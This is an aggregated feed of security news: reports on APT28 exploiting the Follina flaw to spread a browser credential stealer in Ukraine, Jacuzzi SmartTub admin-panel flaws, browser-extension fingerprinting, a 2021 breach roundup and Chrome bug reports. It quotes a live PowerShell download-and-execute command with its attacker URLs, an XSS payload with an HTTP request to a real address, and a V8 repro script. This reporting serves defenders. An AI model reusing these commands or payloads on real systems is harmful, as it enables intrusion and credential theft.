Researchers have spotted the threat group, also known as Fancy Bear and Sofacy, using the Windows MSDT vulnerability to distribute information stealers to users in Ukraine.

Russia’s notorious advanced persistent threat group APT28 is the latest in a growing number of attackers trying to exploit the “Follina” vulnerability in the Microsoft Support Diagnostic Tool (MSDT) in Windows.

Researchers from Malwarebytes this week observed the threat actor — aka Fancy Bear and Sofacy — sending out a malicious document with an exploit for the now-patched flaw (CVE-2022-30190) via phishing emails to users in Ukraine. The document was titled “Nuclear Terrorism A Very Real Threat.rtf" and appeared designed to prey on fears about the war in Ukraine spiraling into a nuclear holocaust. 

Malwarebytes identified the contents of the document as a May 10 article from the Atlantic Council on the potential for Russian President Vladimir Putin to use nuclear weapons in Ukraine.

Users who opened the document ended up having a new version of a previously known .Net credential stealer loaded on their systems via the Follina exploit, which made headlines as a zero-day earlier this month. The malware is designed to steal usernames, passwords, and URLs from Chrome and Microsoft Edge browsers. It can also grab all stored cookies in Chrome, Malwarebytes researchers say.

Ukraine’s Computer Emergency Response Team (CERT-UA) separately warned of the same threat. In an advisory, it said it had spotted APT28 using the same malicious document that Malwarebytes reported to try and distribute the CredoMap credential-stealing malware to users in Ukraine. 

Available telemetry suggests that the adversary has been using the document since at least June 10, CERT-UA says.

“The target, and the involvement of APT28, (a division of Russian military intelligence), suggests that campaign is a part of the conflict in Ukraine, or at the very least linked to the foreign policy and military objectives of the Russian state,” states Malwarebytes in a report Tuesday on the new activity.

**The Follina Feeding Frenzy**

The Follina bug in MSDT exists in all current versions of Windows and can be exploited via malicious Microsoft Office documents. To trigger it, all an attacker needs to do is call MSDT from an Office app, such as Word, using the URL protocol. Attackers can exploit the flaw to gain remote control of vulnerable systems and take a variety of malicious actions on them, including executing malicious code, installing programs, modifying data, and creating new accounts. 

Microsoft disclosed the flaw in late May amid widespread zero-day exploit activity. The company finally issued a fix for the vulnerability in its Patch Tuesday set of monthly security updates for June.

Malwarebytes describes the Ukrainian campaign as the first time it had observed APT28 exploiting Follina. But numerous other groups, including other state-backed actors, have been actively exploiting the vulnerability in recent weeks.

Many of the attacks have targeted Ukrainian entities. Earlier this month, for instance, CERT-UA warned about a threat actor — likely Russia’s Sandworm APT group — using a Follina exploit in a “massive cyberattack” targeting media organizations in Ukraine. 

And just this week, CERT-UA warned about a threat group it is tracking as UAC-0098, which is targeting critical infrastructure facilities in Ukraine with a tax-themed document carrying a Follina exploit. According to the CERT-UA, the attackers in this campaign are exploiting Follina to drop the Cobalt Strike Beacon post-compromise attack tool on compromised systems.

Other reports of Follina-related activity have emerged as well, suggesting the flaw is of high interest to attackers and needs to be addressed quickly. Earlier this month, Proofpoint reported that it had blocked a likely stated-backed phishing campaign involving a Follina exploit that targeted a handful of its customers. The phishing email masqueraded as a document about a salary increase, which if opened would have resulted in a PowerShell script being downloaded to the system.

Symantec, too, has reported observing a variety of threat actors exploiting Follina to distribute different malicious payloads, including the AsyncRAT remote access Trojan and another unnamed malware for stealing cookies and save login data from browsers such as Chrome, Edge and Firefox.

Russia's APT28 Launches Nuke-Themed Follina Exploit Campaign

The Computer Emergency Response Team of Ukraine (CERT-UA) has cautioned of a new set of spear-phishing attacks exploiting the "Follina" flaw in the Windows operating system to deploy password-stealing malware.
Attributing the intrusions to a Russian nation-state group tracked as APT28 (aka Fancy Bear or Sofacy), the agency said the attacks commence with a lure document titled "Nuclear Terrorism

The Computer Emergency Response Team of Ukraine (CERT-UA) has cautioned of a new set of spear-phishing attacks exploiting the "Follina" flaw in the Windows operating system to deploy password-stealing malware.

Attributing the intrusions to a Russian nation-state group tracked as APT28 (aka Fancy Bear or Sofacy), the agency said the attacks commence with a lure document titled "Nuclear Terrorism A Very Real Threat.rtf" that, when opened, exploits the recently disclosed vulnerability to download and execute a malware called CredoMap.

Follina (CVE-2022-30190, CVSS score: 7.8), which concerns a case of remote code execution affecting the Windows Support Diagnostic Tool (MSDT), was addressed by Microsoft on June 14, 2022, as part of its Patch Tuesday updates.

According to an independent report published by Malwarebytes, CredoMap is a variant of the .NET-based credential stealer that Google Threat Analysis Group divulged last month as having been deployed against users in Ukraine.

The malware's main purpose is to siphon data, including passwords and saved cookies, from several popular browsers such as Google Chrome, Microsoft Edge, and Mozilla Firefox.

"Although ransacking browsers might look like petty theft, passwords are the key to accessing sensitive information and intelligence," Malwarebytes said. "The target, and the involvement of APT28, a division of Russian military intelligence), suggests that campaign is a part of the conflict in Ukraine, or at the very least linked to the foreign policy and military objectives of the Russian state."

It's not just APT28. CERT-UA has further warned of similar attacks mounted by Sandworm and an actor dubbed UAC-0098 that leverage a Follina-based infection chain to deploy CrescentImp and Cobalt Strike Beacons on to targeted hosts.

The development comes as Ukraine continues to be a target for cyberattacks amidst the country's ongoing war with Russia, with Armageddon hackers also spotted distributing the GammaLoad.PS1\_v2 malware in May 2022.

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Russian Hackers Exploiting Microsoft Follina Vulnerability Against Ukraine

Threat actors associated with Russian intelligence are using the fear or nuclear war to spread data-stealing malware in Ukraine.
The post Russia’s APT28 uses fear of nuclear war to spread Follina docs in Ukraine appeared first on Malwarebytes Labs.

_This blog post was authored by Hossein Jazi and Roberto Santos_.

In a recent campaign, APT28, an advanced persistent threat actor linked with Russian intelligence, set its sights on Ukraine, targeting users with malware that steals credentials stored in browsers.

APT28 (also known as Sofacy and Fancy Bear) is a notorious Russian threat actor that has been active since at least 2004 with its main activity being collecting intelligence for the Russian government. The group is known to have targeted US politicians, and US organizations, including US nuclear facilities.

On June 20, 2022, Malwarebytes Threat Intelligence identified a document that had been weaponized with the Follina (CVE-2022-30190) exploit to download and execute a new .Net stealer first reported by Google. The discovery was also made independently by CERT-UA.

Follina is a recently-discovered zero-day exploit that uses the ms-msdt protocol to load malicious code from Word documents when they are opened. This is the first time we’ve observed APT28 using Follina in its operations.

**The malicious document**

The maldoc’s filename, Nuclear Terrorism A Very Real Threat.rtf, attempts to get victims to open it by preying on their fears that the invasion of Ukraine will escalate into a nuclear conflict.

The content of the document is an article from the Atlantic Council called “_Will Putin use nuclear weapons in Ukraine? Our experts answer three burning questions_” published on May 10 this year.

The lure asks “Will Putin use nuclear weapons in Ukraine?”

The maldoc is an RTF file compiled on June 10, which suggests that the attack was used around the same time. It uses a remote template embedded in the Document.xml.rels file to retrieve a remote HTML file from the URL http://kitten-268.frge.io/article.html.

The malicious HTML document

The HTML file uses a JavaScript call to window.location.href to load and execute an encoded PowerShell script using the ms-msdt MSProtocol URI scheme. The decoded script uses cmd to run PowerShell code that downloads and executes the final payload:

    "C:\WINDOWS\system32\cmd.exe" /k powershell -NonInteractive -WindowStyle Hidden -NoProfile -command "& {iwr http://kompartpomiar.pl/grafika/SQLite.Interop.dll -OutFile "C:\Users\$ENV:UserName\SQLite.Interop.dll";iwr http://kompartpomiar.pl/grafika/docx.exe -OutFile "C:\Users\$ENV:UserName\docx.exe";Start-Process "C:\Users\$ENV:UserName\docx.exe"}"

**Payload Analysis**

The final payload is a variant of a stealer APT28 has used against targets in Ukraine before. In the oldest variant, the stealer used a fake error message to hide what it was doing (A secondary thread was displaying this error message while the main program continued executing.) The new variant does not show the popup.

In older versions of the stealer, a fake error message distracted users

The variant used in this attack is almost identical to the one reported by Google, with just a few minor refactors and some additional sleep commands.

A side-by-side comparison of two versions of the APT28 stealer

As with the previous variant, the stealer’s main pupose is to steal data from several popular browsers.

**Google Chrome and Microsoft Edge**

The malware steals any website credentials (username, password, and url) users have saved in the browser by reading the contents of %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data.

Debugging session showing how attackers are capable of stealing credentials

In a very similar way, the new variant also grabs all the saved cookies stored in Google Chrome by accessing %LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies.

Cookie stealing code (Google Chrome)

Stolen cookies can sometimes be used to break into websites even if the username and password aren’t saved to the browser.

The code to steal cookies and passwords from the Chromium-based Edge browser is almost identical to the code used for Chrome.

**Firefox**

This malware can also steal data from Firefox. It does this by iterating through every profile looking for the cookies.sqlite file that stores the cookies for each user.

Sysmon capturing access to cookies.sqlite file

In the case of passwords, the attackers attempt to steal logins.json, key3.db, key4.db, cert8.db, cert9.db, signons.sqlite.

Attackers will grab also passwords from Firefox

These files are necessary for recovering elements like saved passwords and certificates. Old versions are also supported (signons.sqlite, key3.db and cert8.db are no longer used by new Firefox versions). Note that if the user has set a master password, the attackers will likely attempt to crack this password offline, later, to recover these credentials.

**Exfiltrating data**

The malware uses the IMAP email protocol to exfiltrate data to its command and control (C2) server.

The IMAP login event

The old variant of this stealer connected to mail\[.\]sartoc.com (144.208.77.68) to exfiltrate data. The new variant uses the same method but a different domain, www.specialityllc\[.\]com. Interestingly both are located in Dubai.

It’s likely the owners of the C2 websites have nothing to do with APT28, and the group simply took advantage of abandoned or vulnerable sites.

Although ransacking browsers might look like petty theft, passwords are the key to accessing sensitive information and intelligence. The target, and the involvement of APT28, a division of Russian military intelligence), suggests that campaign is a part of the conflict in Ukraine, or at the very least linked to the foreign policy and military objectives of the Russian state. Ukraine continues to be a battleground for cyberattacks and espionage, as well as devastating kinetic warfare and humanitarian abuses.

For more coverage of threat actors active in the Ukraine conflict, read our recent article about the efforts of an unknown APT group that has targeted Russia repeatedly since Ukraine invasion.

**Protection**

Malwarebytes customers were proactively protected against this campaign thanks to our anti-exploit protection.

**IOCs**

**Maldoc:  
**Nuclear Terrorism A Very Real Threat.rtf  
daaa271cee97853bf4e235b55cb34c1f03ea6f8d3c958f86728d41f418b0bf01

**Remote template (Follina):  
**http://kitten-268.frge\[.\]io/article.html

**Stealer:  
**http://kompartpomiar\[.\]pl/grafika/docx.exe  
2318ae5d7c23bf186b88abecf892e23ce199381b22c8eb216ad1616ee8877933

**C2:  
**www.specialityllc\[.\]com

Russia’s APT28 uses fear of nuclear war to spread Follina docs in Ukraine

Iconic hot tub manufacturer addresses flaws that also apparently exposed numerous backend services

Iconic hot tub manufacturer addresses flaws that also apparently exposed numerous backend services

Vulnerabilities in the web interface of Jacuzzi’s SmartTub app could have enabled an attacker to view and potentially manipulate the personal data of hot tub owners, a security researcher claims.

As well as an Android or iOS app, SmartTub provides a module that sits within hot tubs providing status updates and fulfilling commands around setting water temperature, turning on water jets or lights, and so on – although there’s no suggestion this functionality was affected by the flaws.

Eaton Zveare managed to bypass Smarttub.io login pages to reach two admin panels intended for internal use only.

Read more of the latest internet of things security news

The issues have now been patched, although Zveare claimed he was not notified of the fixes, and that Jacuzzi failed to reply to most of his emails. Jacuzzi has yet to respond to our invitation to comment. We’ll update this article if and when they do.

According to the researcher, abuse of the vulnerabilities exposed first names, last names, and email addresses of users from around the world. In a technical write-up he warned: “It would be trivial to create a script to download all user information. It’s possible it’s already been done.”

**‘Staggering’**

The first admin panel was accessed after a login attempt using Zveare’s customer credentials returned an ‘unauthorized’ screen, but was briefly preceded – “blink and you’d miss it” – by a redirect to the admin panel captured with a screen recorder.

This security flaw fleetingly showed data related to multiple Jacuzzi brands in the US and beyond.

A JavaScript bundle for Smarttub.io’s single-page-application (SPA) revealed that usernames and passwords were sent to third-party authentication platform Auth0 for validation.

Zveare used the Fiddler tool to modify the HTTP response in order to masquerade in the admin role – giving him full access to the admin panel and a “staggering” amount of data.

“I could view the details of every spa, see its owner, and even remove their ownership”, he explained. “I could view every user account and even edit them”.

However, Zveare declined to risk testing “if any changes would actually save”.

**Backend services**

The login screen for the second admin console, while not Auth0-branded, “seemed” to accept his credentials but generated a JavaScript browser alert declining permission.

The corresponding JavaScript bundle featured the code for browser alert and check, and he noted that alongside the admin and user groups also visible on the first panel, the second panel featured admin tools and development groups.

DON’T MISS HID Mercury access control vulnerabilities leave door open to lock manipulation

With the help of Chrome Local Overrides functionality, the researcher loaded a modified JavaScript bundle file that forced , , and to return in all cases. “This way, I didn’t need to intercept the HTTP response each time to modify the groups,” said Zveare.

This revealed manufacturing logs, a serial number update section, and options to extend your cell (mobile) data subscription – “or shorten someone else’s” – and create, modify, and delete tub colors or models and licensed hot tub dealers.

**Fraught disclosure**

A lengthy disclosure process detailed by Zveare began with initial notification on December 3, which apparently failed to elicit a response.

Zveare sought Auth0’s help on January 4 and said the authentication vendor immediately reproduced the issue, contacted Jacuzzi, and discovered that the first admin panel had been shut down.

On June 4 he noticed the second admin panel had finally been secured and then disclosed the vulnerabilities on June 20.

“After multiple contact attempts through three different Jacuzzi/SmartTub email addresses and Twitter, a dialog was not established until Auth0 stepped in,” said Zveare.

“Even then, communication with Jacuzzi/SmartTub eventually dropped off completely, without any formal conclusion or acknowledgement they have addressed all reported issues.”

By contrast, the researcher thanked the Auth0 security team for helping out despite having no obligation to do so. “Without their assistance, this disclosure would probably have remained stalled,” he added.

RECOMMENDED Security researcher receives legal threat over patched Powertek data center vulnerabilities

Jacuzzi customer details could be exposed by SmartTub web bugs, claims researcher

NUUO Network Video Recorder NVRsolo v03.06.02 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via login.php.

    "><script>alert("XSS")</script><"
    

    POST /login.php HTTP/1.1
    Host: 218.253.76.122:8000
    Content-Length: 45
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://218.253.76.122:8000
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: "><script>alert("XSS")</script><"
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: lang=en; PHPSESSID=b630e0a3b454ae69c6aacbe257435b55
    Connection: close
    
    language=11111&user=111&pass=222&submit=Login

CVE-2022-33119: nuuo-xss/README.md at main · badboycxcc/nuuo-xss

We look at a new project which uses several techniques to determine which Chrome extensions are being used on a device.
The post You can be tracked online using your Chrome browser extensions appeared first on Malwarebytes Labs.

Posted: June 21, 2022 by

A researcher has found a way to generate a fingerprint of your device from your installed Google Chrome extensions, and then use that fingerprint to track you online.

Fingerprinting is a way of figuring out what makes your device unique and then using that to identify you as you move around the internet. Websites you visit receive a huge amount of information when you land on their portal—it’s a lot more than “just” which web browser you use to load up someone’s site.

What extensions do you have? How does your screen resolution compare with others? If you use a specific, unusual resolution, do you run other extensions alongside it? Do other people? Which versions of those extensions are on board? Is your IP address plain and exposed, or hidden behind a VPN?

**How do sites fingerprint my device?**

You can see a typical voluntary form of fingerprinting testing here. The site checks for a variety of information related to your device (including the below), and then places a cookie on your PC for four months:

*   the User agent header
*   the Accept header
*   the Connection header
*   the Encoding header
*   the Language header
*   the Upgrade Insecure Requests header
*   the Referer header
*   the Cache-Control header
*   the BuildId of the browser
*   the list of plugins
*   the platform
*   the cookies preferences (allowed or not)
*   the Do Not Track preferences (yes, no or not communicated)
*   the timezone
*   the screen resolution and its color depth

What you often see in tests like this is a high degree of similarity between users for things like content encoding, preference for secure HTTPs requests, supported video formats, and so on.

The numbers start to flatten out for aspects of your PC like plugins, adblocker use, media devices plugged in, and lists of fonts. As you can see, it’s not just that fingerprinting can tell you what browser you use or your screen resolution at a very basic level, it’s all of the additional components too.

There’s lots of ways fingerprinting can provide a very in-depth profile of a device.

You may use one type of browser like 50% of the other people who had their system fingerprinted. However, only 5% may use a specific version of that browser. Of that 5%, only 2% have a certain extension installed. From there, only 0.3% may use a specific _version_ of this extension. And so it goes on…

Even switching your browsers around may not help much, which leads to people coming up with all sorts of workarounds.

**Running the gauntlet of web accessible resources**

The site determines installed extensions thanks to something called “web accessible resources”. As the researcher explains:

> _Web-accessible resources are files inside an extension that can be accessed by web pages or other extensions. Extensions typically use this feature to expose images or other assets that need to be loaded in web pages, but any asset included in an extension’s bundle can be made web accessible._
> 
> _By default no resources are web accessible; only pages or scripts loaded from an extension’s origin can access that extension’s resources. Extension authors can use the web\_accessible\_resources manifest property to declare which resources are exposed and to what origins._
> 
> A webpage can successfully fetch an installed extensions web accessible resource. If the fetch fails it usually means that the extension is not installed.

Visiting the checker site returns a list of potential Chrome extensions, and each entry has a True/False detection flag. In my case, it correctly reported the installed extensions on the test system and informed me what % of users _share_ those extensions.

The project creator explains that the detection does not work for Firefox as “Firefox extension IDs are unique for every browser instance”. They go on to say that the site “only detects extensions from the Chrome web store. Extensions for \[Microsoft Edge\] can be detected using the same methods but are not supported by this tool”.

**Tackling evasive behaviour**

Some extensions have ways of not showing up in this kind of fingerprinting test. Are some of the extensions on your device trying to hide? Thanks to something called “Resource timing comparison”, it may not even matter.

> _In an effort to prevent detection some extensions will generate a secret token thats required to access their web accessible resources. Any fetch operation made without the secret token will result in failure. Although its much more difficult to detect these protected extensions, it’s still possible._
> 
> _Resources of protected extensions will take longer to fetch than resources of extensions that are not installed. By comparing the timing differences you can accurately determine if the protected extensions are installed._

**Avoiding fingerprinting**

There’s numerous suggestions for this, but not all of them may be practical for you in your day to day dealings. Suggestions from the Electronic Frontier Foundation include:

*   Using a “non-rare” browser, with the caveat that aspects such as fonts and plugins can easily make you identifiable.
*   Disabling JavaScript, with the additional caveat that this may break functionality for most websites.
*   Making use of the private browsing modes included in most web browsers.

You could also use browsers with dedicated anti-fingerprinting technology running in the background. Whatever you decide, this is by no means an easy problem to address for most people.

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February 3, 2021 - Browser synchronization is a handy feature but it comes with a few risks. Here's what you should be asking yourself before you switch it on.

September 19, 2019 - The free Malwarebytes Browser Guard extension combats privacy abuse, user tracking, clickbait, unwanted advertisements, and tech support scammers while offering granular control and faster browsing.

June 10, 2019 - A weekly roundup of security news from June 3–9, including Magecart, breaches, hyperlink auditing, Bluekeep, FTC, and facial recognition.

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You can be tracked online using your Chrome browser extensions

In this post, we break down 5 times hackers used security vulnerabilities in 2021 to attack governments and businesses.
The post Security vulnerabilities: 5 times that organizations got hacked appeared first on Malwarebytes Labs.

Businesses and governments these days are relying on dozens of different Software-as-a-Service (SaaS) applications to run their operations — and it’s no secret that hackers are always looking for security vulnerabilities in them to exploit.

According to research by BetterCloud, the average company with 500 to 999 employees uses about 93 different SaaS applications, with that number rising to 177 for companies with over 1000 employees.

Coupled with the fact that vendors release thousands of updates each year to patch security vulnerabilities in their software, it’s not surprising that businesses and governments are struggling to keep up with the volume of security vulnerabilities and patches.

And lo and behold, despite the best efforts of governments and businesses around the globe, hackers still managed to exploit multiple security vulnerabilities in 2021.

In this post, we’ll take a look at five times governments and businesses got hacked thanks to security vulnerabilities in 2021.

**1.   APT41 exploits Log4Shell vulnerability to compromise at least two US state governments**

First publicly announced in early December 2021, Log4shell (CVE-2021-44228) is a critical security vulnerability in the popular Java library Apache Log4j 2. The vulnerability is simple to execute and enables attackers to perform remote code execution.

A patch for Log4Shell was released on 9 December 2021, but within hours of the initial December 10 2021 announcement, hacker groups were already racing to exploit Log4Shell before businesses and governments could patch it — and at least one of them was successful.

Shortly after the advisory, the Chinese state-sponsored hacking group APT41 exploited Log4Shell to compromise at least two US state governments, according to research from Mandiant. Once they gained access to internet-facing systems, APT41 began a months-long campaign of reconnaissance and credential harvesting.

**2.  North Korean government backed-groups exploit Chrome zero-day vulnerability**

On February 10 2022, Google’s Threat Analysis Group (TAG) discovered that two North Korean government backed-groups exploited a vulnerability (**CVE-2022-0609**) in Chrome to attack over 250 individuals working for various media, fintech, and software companies.

The activities of the two groups have been tracked as Operation Dream Job and AppleJeus, and both of them used the same exploit kit to collect sensitive information from affected systems.

How does it work, you ask? Well, hackers exploited a use-after-free (UAF) vulnerability in the Animation component of Chrome — which, just like Log4Shell, allows hackers to perform remote code execution.

**3.  Hackers infiltrate governments and companies with ManageEngine ADSelfService Plus vulnerability**

From September 17 through early October, hackers successfully compromised at least nine companies and 370 servers by exploiting a vulnerability **(CVE-20****2****1-40539)** in ManageEngine ADSelfService Plus, a self-service password management and single sign-on solution.

So, what happens after hackers exploited this vulnerability? You guessed it — remote code execution. Specifically, hackers uploaded a payload to a victims network that installed a webshell, a malicious script that grants hackers a persistent gateway to the affected device.

From there, hackers moved laterally to other systems on the network, exfiltrated any files they pleased, and even stole credentials.

**4.  Tallinn-based hacker exploits Estonian government platform security vulnerabilities**

In July 2021, Estonian officials announced that a Tallinn-based male had gained access to KMAIS, Estonia’s ID-document database, where he downloaded the government ID photos of 286,438 Estonians.

To do this, the hacker exploited a vulnerability in KMAIS that allowed him to obtain a person’s ID photo using queries. Specifically, KMAIS did not sufficiently check the validity of the query received — and so, using fake digital certificates, the suspect could download the photograph of whoever he was pretending to be.

**5.  Russian hackers exploit Kaseya security vulnerabilities**

Kaseya, a Miami-based software company, provides tech services to thousands of businesses over the world — and on July 2 2021, Kaseya CEO Fred Voccola had an urgent message for Kaseya customers: shut down your servers immediately.

The urgency was warranted. Over 1,500 small and midsize businesses had just been attacked, with attackers asking for $70 million in payment.

A Russian-based cybergang known as REvil claimed responsibility for the attack. According to Hunteress Labs, REvil exploited a zero-day (CVE-2021-30116) and performed an authentication bypass in Kaseya’s web interface — allowing them to deploy a ransomware attack on MSPs and their customers.

**Organizations need a streamlined approach to vulnerability assessment**

Hackers took advantage of many security vulnerabilities in 2021 to breach an array of governments and businesses.

As we broke down in this article, hackers can range from individuals to whole state-sponsored groups — and we also saw how vulnerabilities themselves can appear in just about any piece of software regardless of the industry.

And while some vulnerabilities are certainly worse than others, the sheer volume of vulnerabilities out there makes it difficult to keep up with the volume of security patches. With the right vulnerability management and patch management, however, your organization can find (and correct) weak points that malicious hackers, viruses, and other cyberthreats want to attack.

Want to learn more about different vulnerability and patch management tools? Visit our Vulnerability and Patch Management page or read the solution brief.

Security vulnerabilities: 5 times that organizations got hacked

The most important and interesting computer security stories from the last week.
The post A week in security (June 13 – June 19) appeared first on Malwarebytes Labs.

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A week in security (June 13 – June 19)

Chrome suffers from having an incomplete fix for CVE-2022-1096.

    Chrome: Incomplete fix for CVE-2022-1096VULNERABILITY DETAILSThe fix for https://crbug.com/1309225 has modified `SetPropertyInternal()` to fall back to `SetSuperProperty()` whenever a property access interceptor is encountered because `SetSuperProperty()` is robust against possible side effects caused by interceptors.Unfortunately, the function `JSObject::DefineOwnPropertyIgnoreAttributes()` is also affected by the bug and requires the same change.VERSIONGoogle Chrome 100.0.4896.60 (Official Build) (arm64)Chromium 102.0.4972.0 (Developer Build) (64-bit)REPRODUCTION CASETo make the exploit functional again, the attacker only needs to replace one property store with an `Object.defineProperty()` call:```<script>style = document.createElement('p').style;Object.defineProperty(style, 'prop', {  value: { toString() { style.prop = 1 } }});</script>```The repro case above triggers the same DCHECK failure:```## Fatal error in ../../v8/src/objects/map.cc, line 437# Debug check failed: map->instance_descriptors(isolate) .Search(*name, map->NumberOfOwnDescriptors()) .is_not_found().#```CREDIT INFORMATIONSergei Glazunov of Google Project ZeroThis bug is subject to a 90-day disclosure deadline. If a fix for thisissue is made available to users before the end of the 90-day deadline,this bug report will become public 30 days after the fix was madeavailable. Otherwise, this bug report will become public at the deadline.The scheduled deadline is 2022-06-28.Related CVE Numbers: CVE-2022-1232,CVE-2022-1096.Found by: glazunov@google.com

Chrome CVE-2022-1096 Incomplete Fix

Chrome suffers from a missing bounds check in WebGPUDecoderImpl::DoRequestDevice.

Tag

#chrome